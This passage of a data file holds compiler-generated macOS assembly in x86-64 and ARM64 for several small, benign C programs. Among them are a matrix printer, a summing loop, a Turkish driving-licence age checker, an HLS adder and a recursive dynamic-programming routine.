Header=BB0_3 Depth=1 movl -40(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl -64(%rbp), %ecx movb %al, -113(%rbp) ## 1-byte Spill jl LBB0_7 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 movl -60(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl -44(%rbp), %ecx movb %al, -113(%rbp) ## 1-byte Spill jl LBB0_7 ## %bb.6: ## in Loop: Header=BB0_3 Depth=1 movl -36(%rbp), %eax cmpl -60(%rbp), %eax setge %al movb %al, -113(%rbp) ## 1-byte Spill LBB0_7: ## in Loop: Header=BB0_3 Depth=1 movb -113(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_8 jmp LBB0_15 LBB0_8: ## in Loop: Header=BB0_3 Depth=1 movl -112(%rbp), %edx movl %edx, %eax addl $1, %eax movl %eax, -112(%rbp) movq -104(%rbp), %rax movl -60(%rbp), %ecx movl %ecx, -52(%rbp) imull -84(%rbp), %ecx movl -64(%rbp), %esi movl %esi, -56(%rbp) addl %esi, %ecx movslq %ecx, %rcx movl %edx, (%rax,%rcx,4) movl -108(%rbp), %ecx movl -108(%rbp), %eax sarl $1, %eax xorl %eax, %ecx andl $1, %ecx shll $1, %ecx subl $1, %ecx movl -108(%rbp), %eax xorl $-1, %eax andl $1, %eax addl $2, %eax cltq addl -64(%rbp,%rax,4), %ecx movl %ecx, -64(%rbp,%rax,4) movl -56(%rbp), %eax cmpl -48(%rbp), %eax jl LBB0_13 ## %bb.9: ## in Loop: Header=BB0_3 Depth=1 movl -40(%rbp), %eax cmpl -56(%rbp), %eax jl LBB0_13 ## %bb.10: ## in Loop: Header=BB0_3 Depth=1 movl -52(%rbp), %eax cmpl -44(%rbp), %eax jl LBB0_13 ## %bb.11: ## in Loop: Header=BB0_3 Depth=1 movl -36(%rbp), %eax cmpl -52(%rbp), %eax jl LBB0_13 ## %bb.12: ## in Loop: Header=BB0_3 Depth=1 movl -56(%rbp), %eax movl %eax, -64(%rbp) movl -52(%rbp), %eax movl %eax, -60(%rbp) jmp LBB0_14 LBB0_13: ## in Loop: Header=BB0_3 Depth=1 movl -108(%rbp), %eax addl $1, %eax andl $3, %eax movl %eax, -108(%rbp) movl -108(%rbp), %ecx movl -108(%rbp), %eax sarl $1, %eax xorl %eax, %ecx andl $1, %ecx shll $1, %ecx subl $1, %ecx movl -108(%rbp), %eax addl $8, %eax cltq movslq -64(%rbp,%rax,4), %rax addl -64(%rbp,%rax,4), %ecx movl %ecx, -64(%rbp,%rax,4) movl -108(%rbp), %ecx movl -108(%rbp), %eax sarl $1, %eax xorl %eax, %ecx andl $1, %ecx shll $1, %ecx subl $1, %ecx movl -108(%rbp), %eax addl $8, %eax cltq movl -64(%rbp,%rax,4), %eax andl $1, %eax cltq addl -64(%rbp,%rax,4), %ecx movl %ecx, -64(%rbp,%rax,4) LBB0_14: ## in Loop: Header=BB0_3 Depth=1 jmp LBB0_3 LBB0_15: movl $0, -112(%rbp) LBB0_16: ## =>This Loop Header: Depth=1 ## Child Loop BB0_18 Depth 2 movl -112(%rbp), %eax cmpl -88(%rbp), %eax jge LBB0_26 ## %bb.17: ## in Loop: Header=BB0_16 Depth=1 movl $0, -108(%rbp) LBB0_18: ## Parent Loop BB0_16 Depth=1 ## => This Inner Loop Header: Depth=2 movl -108(%rbp), %eax cmpl -84(%rbp), %eax jge LBB0_24 ## %bb.19: ## in Loop: Header=BB0_18 Depth=2 movl -92(%rbp), %esi movq -104(%rbp), %rax movl -112(%rbp), %ecx imull -84(%rbp), %ecx addl -108(%rbp), %ecx movslq %ecx, %rcx movl (%rax,%rcx,4), %edx leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl %eax, %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, %ecx movb %al, -114(%rbp) ## 1-byte Spill je LBB0_22 ## %bb.20: ## in Loop: Header=BB0_18 Depth=2 movl -84(%rbp), %ecx subl -108(%rbp), %ecx subl $1, %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, %ecx movb %al, -114(%rbp) ## 1-byte Spill jne LBB0_22 ## %bb.21: ## in Loop: Header=BB0_18 Depth=2 leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf cmpl $0, %eax setne %al movb %al, -114(%rbp) ## 1-byte Spill LBB0_22: ## in Loop: Header=BB0_18 Depth=2 movb -114(%rbp), %al ## 1-byte Reload ## %bb.23: ## in Loop: Header=BB0_18 Depth=2 movl -108(%rbp), %eax addl $1, %eax movl %eax, -108(%rbp) jmp LBB0_18 LBB0_24: ## in Loop: Header=BB0_16 Depth=1 jmp LBB0_25 LBB0_25: ## in Loop: Header=BB0_16 Depth=1 movl -112(%rbp), %eax addl $1, %eax movl %eax, -112(%rbp) jmp LBB0_16 LBB0_26: movl $0, -68(%rbp) LBB0_27: movl -68(%rbp), %eax movl %eax, -120(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_29 ## %bb.28: movl -120(%rbp), %eax ## 4-byte Reload addq $128, %rsp popq %rbp retq LBB0_29: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%*d" L_.str.1: ## @.str.1 .asciz "\n" .subsections_via_symbols
the_stack_data/178264858.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] ldr w8, [sp, #12] subs w8, w8, #2 str w8, [sp, #12] b LBB0_1 LBB0_3: add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $0, -4(%rbp) jl LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) movl -4(%rbp), %eax subl $2, %eax movl %eax, -4(%rbp) jmp LBB0_1 LBB0_3: popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/156392179.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] mov w8, #101 strb w8, [sp, #11] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldrsb w8, [sp, #11] subs w8, w8, #101 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldrsb w10, [sp, #11] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_12 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf mov x9, sp add x8, sp, #12 str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _scanf ldr w8, [sp, #12] subs w8, w8, #18 cset w8, ge tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldrsb w10, [sp, #11] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_11 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] subs w8, w8, #40 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldr w9, [sp, #12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldrsb w10, [sp, #11] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_10 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] subs w8, w8, #65 cset w8, lt tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldrsb w10, [sp, #11] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf b LBB0_9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 b LBB0_11 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 b LBB0_12 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_1 Depth=1 ldrsb w8, [sp, #11] subs w8, w8, #104 cset w8, ne tbnz w8, #0, LBB0_1 b LBB0_14 LBB0_14: adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "e yada h giriniz: " l_.str.1: ; @.str.1 .asciz "%s" l_.str.2: ; @.str.2 .asciz "l\303\274tfen yasinizi giriniz: " l_.str.3: ; @.str.3 .asciz "%d" l_.str.4: ; @.str.4 .asciz "18 yas alti ehliyet alamaz" l_.str.5: ; @.str.5 .asciz "sorguya devam etmek i\303\247in e iptal i\303\247in h tusuna basiniz" l_.str.6: ; @.str.6 .asciz "\n onay:" l_.str.7: ; @.str.7 .asciz "yasin %d oldu icin en yakin ehliyet kursuna gidiniz" l_.str.8: ; @.str.8 .asciz "65 ve \303\274zeri ehiyet alamaz" l_.str.9: ; @.str.9 .asciz "sorgu bitmi\305\237tir" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movb $101, -21(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movsbl -21(%rbp), %eax cmpl $101, %eax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str(%rip), %rdi movb $0, %al callq _printf movsbl -21(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf jmp LBB0_12 LBB0_3: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf leaq L_.str.3(%rip), %rdi leaq -20(%rbp), %rsi movb $0, %al callq _scanf cmpl $18, -20(%rbp) jge LBB0_5 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf movsbl -21(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf jmp LBB0_11 LBB0_5: ## in Loop: Header=BB0_1 Depth=1 cmpl $40, -20(%rbp) jne LBB0_7 ## %bb.6: ## in Loop: Header=BB0_1 Depth=1 movl -20(%rbp), %esi leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf movsbl -21(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf jmp LBB0_10 LBB0_7: ## in Loop: Header=BB0_1 Depth=1 cmpl $65, -20(%rbp) jl LBB0_9 ## %bb.8: ## in Loop: Header=BB0_1 Depth=1 leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf movsbl -21(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _scanf LBB0_9: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_10 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_11 LBB0_11: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_12 LBB0_12: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_13 LBB0_13: ## in Loop: Header=BB0_1 Depth=1 movsbl -21(%rbp), %eax cmpl $104, %eax jne LBB0_1 ## %bb.14: leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "e yada h giriniz: " L_.str.1: ## @.str.1 .asciz "%s" L_.str.2: ## @.str.2 .asciz "l\303\274tfen yasinizi giriniz: " L_.str.3: ## @.str.3 .asciz "%d" L_.str.4: ## @.str.4 .asciz "18 yas alti ehliyet alamaz" L_.str.5: ## @.str.5 .asciz "sorguya devam etmek i\303\247in e iptal i\303\247in h tusuna basiniz" L_.str.6: ## @.str.6 .asciz "\n onay:" L_.str.7: ## @.str.7 .asciz "yasin %d oldu icin en yakin ehliyet kursuna gidiniz" L_.str.8: ## @.str.8 .asciz "65 ve \303\274zeri ehiyet alamaz" L_.str.9: ## @.str.9 .asciz "sorgu bitmi\305\237tir" .subsections_via_symbols
the_stack_data/68888677.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] str wzr, [sp, #16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov x9, sp sub x8, x29, #12 str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _scanf stur wzr, [x29, #-8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #16] ldur w9, [x29, #-8] add w8, w8, w9 str w8, [sp, #16] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB0_1 LBB0_4: ldr w9, [sp, #16] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Enter the number-" l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "sum is=%d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $0, -16(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf leaq L_.str.1(%rip), %rdi leaq -12(%rbp), %rsi movb $0, %al callq _scanf movl $0, -8(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -8(%rbp), %eax cmpl -12(%rbp), %eax jg LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -16(%rbp), %eax addl -8(%rbp), %eax movl %eax, -16(%rbp) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_4: movl -16(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Enter the number-" L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "sum is=%d" .subsections_via_symbols
the_stack_data/95373.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _adders ; -- Begin function adders .p2align 2 _adders: ; @adders .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] stur w1, [x29, #-8] stur w2, [x29, #-12] mov x9, sp adrp x7, l_.str.1@PAGE add x7, x7, l_.str.1@PAGEOFF str x7, [sp, #24] ; 8-byte Folded Spill mov x8, x7 str x8, [x9] mov w5, #0 str w5, [sp, #20] ; 4-byte Folded Spill mov x0, x5 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov x2, x5 mov x3, x5 mov x4, x5 mov x6, x7 bl __ssdm_op_SpecInterface ldr w5, [sp, #20] ; 4-byte Folded Reload ldr x7, [sp, #24] ; 8-byte Folded Reload ldur w0, [x29, #-12] mov x9, sp mov x8, x7 str x8, [x9] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF str x1, [sp, #8] ; 8-byte Folded Spill mov x2, x5 mov x3, x5 mov x4, x5 mov x6, x7 bl __ssdm_op_SpecInterface ldr x1, [sp, #8] ; 8-byte Folded Reload ldr w5, [sp, #20] ; 4-byte Folded Reload ldr x7, [sp, #24] ; 8-byte Folded Reload ldur w0, [x29, #-8] mov x9, sp mov x8, x7 str x8, [x9] mov x2, x5 mov x3, x5 mov x4, x5 mov x6, x7 bl __ssdm_op_SpecInterface ldr x1, [sp, #8] ; 8-byte Folded Reload ldr w5, [sp, #20] ; 4-byte Folded Reload ldr x7, [sp, #24] ; 8-byte Folded Reload ldur w0, [x29, #-4] mov x9, sp mov x8, x7 str x8, [x9] mov x2, x5 mov x3, x5 mov x4, x5 mov x6, x7 bl __ssdm_op_SpecInterface ldur w8, [x29, #-4] ldur w9, [x29, #-8] add w8, w8, w9 ldur w9, [x29, #-12] add w8, w8, w9 stur w8, [x29, #-16] ldur w0, [x29, #-16] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "ap_ctrl_none" l_.str.1: ; @.str.1 .space 1 l_.str.2: ; @.str.2 .asciz "ap_none" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _adders ## -- Begin function adders .p2align 4, 0x90 _adders: ## @adders .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl %edx, -12(%rbp) xorl %r9d, %r9d leaq L_.str(%rip), %rsi leaq L_.str.1(%rip), %rax movl %r9d, %edi movl %r9d, %edx movl %r9d, %ecx movl %r9d, %r8d movq %rax, (%rsp) movq %rax, 8(%rsp) movq %rax, 16(%rsp) movb $0, %al callq __ssdm_op_SpecInterface movl -12(%rbp), %edi leaq L_.str.2(%rip), %rsi xorl %r9d, %r9d leaq L_.str.1(%rip), %rax movl %r9d, %edx movl %r9d, %ecx movl %r9d, %r8d movq %rax, (%rsp) movq %rax, 8(%rsp) movq %rax, 16(%rsp) movb $0, %al callq __ssdm_op_SpecInterface movl -8(%rbp), %edi leaq L_.str.2(%rip), %rsi xorl %r9d, %r9d leaq L_.str.1(%rip), %rax movl %r9d, %edx movl %r9d, %ecx movl %r9d, %r8d movq %rax, (%rsp) movq %rax, 8(%rsp) movq %rax, 16(%rsp) movb $0, %al callq __ssdm_op_SpecInterface movl -4(%rbp), %edi leaq L_.str.2(%rip), %rsi xorl %r9d, %r9d leaq L_.str.1(%rip), %rax movl %r9d, %edx movl %r9d, %ecx movl %r9d, %r8d movq %rax, (%rsp) movq %rax, 8(%rsp) movq %rax, 16(%rsp) movb $0, %al callq __ssdm_op_SpecInterface movl -4(%rbp), %eax addl -8(%rbp), %eax addl -12(%rbp), %eax movl %eax, -16(%rbp) movl -16(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "ap_ctrl_none" L_.str.1: ## @.str.1 .space 1 L_.str.2: ## @.str.2 .asciz "ap_none" .subsections_via_symbols
the_stack_data/161080731.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sum ; -- Begin function sum .p2align 2 _sum: ; @sum .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 str w0, [sp, #36] str x1, [sp, #24] str w2, [sp, #20] str w3, [sp, #16] str x4, [sp, #8] ldr w8, [sp, #20] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] str x8, [sp, #40] b LBB0_3 LBB0_2: ldr x8, [sp, #8] ldrsw x9, [sp, #16] ldr x8, [x8, x9, lsl #3] ldr x9, [sp, #8] ldrsw x10, [sp, #20] add x9, x9, x10, lsl #3 ldur x9, [x9, #-8] subs x8, x8, x9 str x8, [sp, #40] b LBB0_3 LBB0_3: ldr x0, [sp, #40] add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _dp ; -- Begin function dp .p2align 2 _dp: ; @dp .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-12] stur x1, [x29, #-24] stur x2, [x29, #-32] stur w3, [x29, #-36] stur w4, [x29, #-40] stur x5, [x29, #-48] ldur x8, [x29, #-32] ldur w9, [x29, #-12] ldur w10, [x29, #-36] mul w9, w9, w10 add x8, x8, w9, sxtw #3 ldursw x9, [x29, #-40] ldr x8, [x8, x9, lsl #3] adds x8, x8, #1 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldur x8, [x29, #-32] ldur w9, [x29, #-12] ldur w10, [x29, #-36] mul w9, w9, w10 add x8, x8, w9, sxtw #3 ldursw x9, [x29, #-40] ldr x8, [x8, x9, lsl #3] stur x8, [x29, #-8] b LBB1_11 LBB1_2: ldur w8, [x29, #-36] ldur w9, [x29, #-40] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: stur xzr, [x29, #-8] b LBB1_11 LBB1_4: mov x8, #2808348672 movk x8, #46771, lsl #32 movk x8, #3552, lsl #48 str x8, [sp, #56] ldur w8, [x29, #-36] str w8, [sp, #12] b LBB1_5 LBB1_5: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] ldur w9, [x29, #-40] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_10 b LBB1_6 LBB1_6: ; in Loop: Header=BB1_5 Depth=1 ldur w0, [x29, #-12] ldur x1, [x29, #-24] ldur x2, [x29, #-32] ldur w3, [x29, #-36] ldr w4, [sp, #12] ldur x5, [x29, #-48] bl _dp str x0, [sp, #40] ldur w0, [x29, #-12] ldur x1, [x29, #-24] ldur x2, [x29, #-32] ldr w8, [sp, #12] add w3, w8, #1 ldur w4, [x29, #-40] ldur x5, [x29, #-48] bl _dp str x0, [sp, #32] ldur w0, [x29, #-12] ldur x1, [x29, #-24] ldur w2, [x29, #-36] ldr w3, [sp, #12] ldur x4, [x29, #-48] bl _sum str x0, [sp, #24] ldur w0, [x29, #-12] ldur x1, [x29, #-24] ldr w8, [sp, #12] add w2, w8, #1 ldur w3, [x29, #-40] ldur x4, [x29, #-48] bl _sum str x0, [sp, #16] ldr x8, [sp, #40] ldr x9, [sp, #32] add x8, x8, x9 ldr x9, [sp, #24] mov x12, #100 sdiv x10, x9, x12 mul x10, x10, x12 subs x9, x9, x10 ldr x10, [sp, #16] sdiv x11, x10, x12 mul x11, x11, x12 subs x10, x10, x11 mul x9, x9, x10 add x8, x8, x9 str x8, [sp, #48] ldr x8, [sp, #48] ldr x9, [sp, #56] subs x8, x8, x9 cset w8, ge tbnz w8, #0, LBB1_8 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_5 Depth=1 ldr x8, [sp, #48] str x8, [sp, #56] b LBB1_8 LBB1_8: ; in Loop: Header=BB1_5 Depth=1 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_5 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_5 LBB1_10: ldr x8, [sp, #56] ldur x9, [x29, #-32] ldur w10, [x29, #-12] ldur w11, [x29, #-36] mul w10, w10, w11 add x9, x9, w10, sxtw #3 ldursw x10, [x29, #-40] str x8, [x9, x10, lsl #3] ldr x8, [sp, #56] stur x8, [x29, #-8] b LBB1_11 LBB1_11: ldur x0, [x29, #-8] ldp x29, x30, [sp, #112] ; 16-byte Folded Reload add sp, sp, #128 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sub sp, sp, #144 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur wzr, [x29, #-12] b LBB2_1 LBB2_1: ; =>This Loop Header: Depth=1 ; Child Loop BB2_3 Depth 2 ; Child Loop BB2_5 Depth 3 ; Child Loop BB2_11 Depth 2 ; Child Loop BB2_15 Depth 2 sub sp, sp, #16 mov x9, sp sub x8, x29, #16 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf add sp, sp, #16 adds w8, w0, #1 cset w8, eq tbnz w8, #0, LBB2_22 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldur w8, [x29, #-16] ; kill: def $x8 killed $w8 mov x9, sp stur x9, [x29, #-32] lsl x9, x8, #2 add x9, x9, #15 and x9, x9, #0xfffffffffffffff0 stur x9, [x29, #-128] ; 8-byte Folded Spill adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 ldur x10, [x29, #-128] ; 8-byte Folded Reload mov x9, sp subs x9, x9, x10 mov sp, x9 stur x9, [x29, #-120] ; 8-byte Folded Spill stur x8, [x29, #-40] ldur w8, [x29, #-16] ; kill: def $x8 killed $w8 lsl x9, x8, #3 add x9, x9, #15 and x9, x9, #0xfffffffffffffff0 stur x9, [x29, #-112] ; 8-byte Folded Spill adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 ldur x10, [x29, #-112] ; 8-byte Folded Reload mov x9, sp subs x9, x9, x10 mov sp, x9 stur x9, [x29, #-104] ; 8-byte Folded Spill stur x8, [x29, #-48] ldur w8, 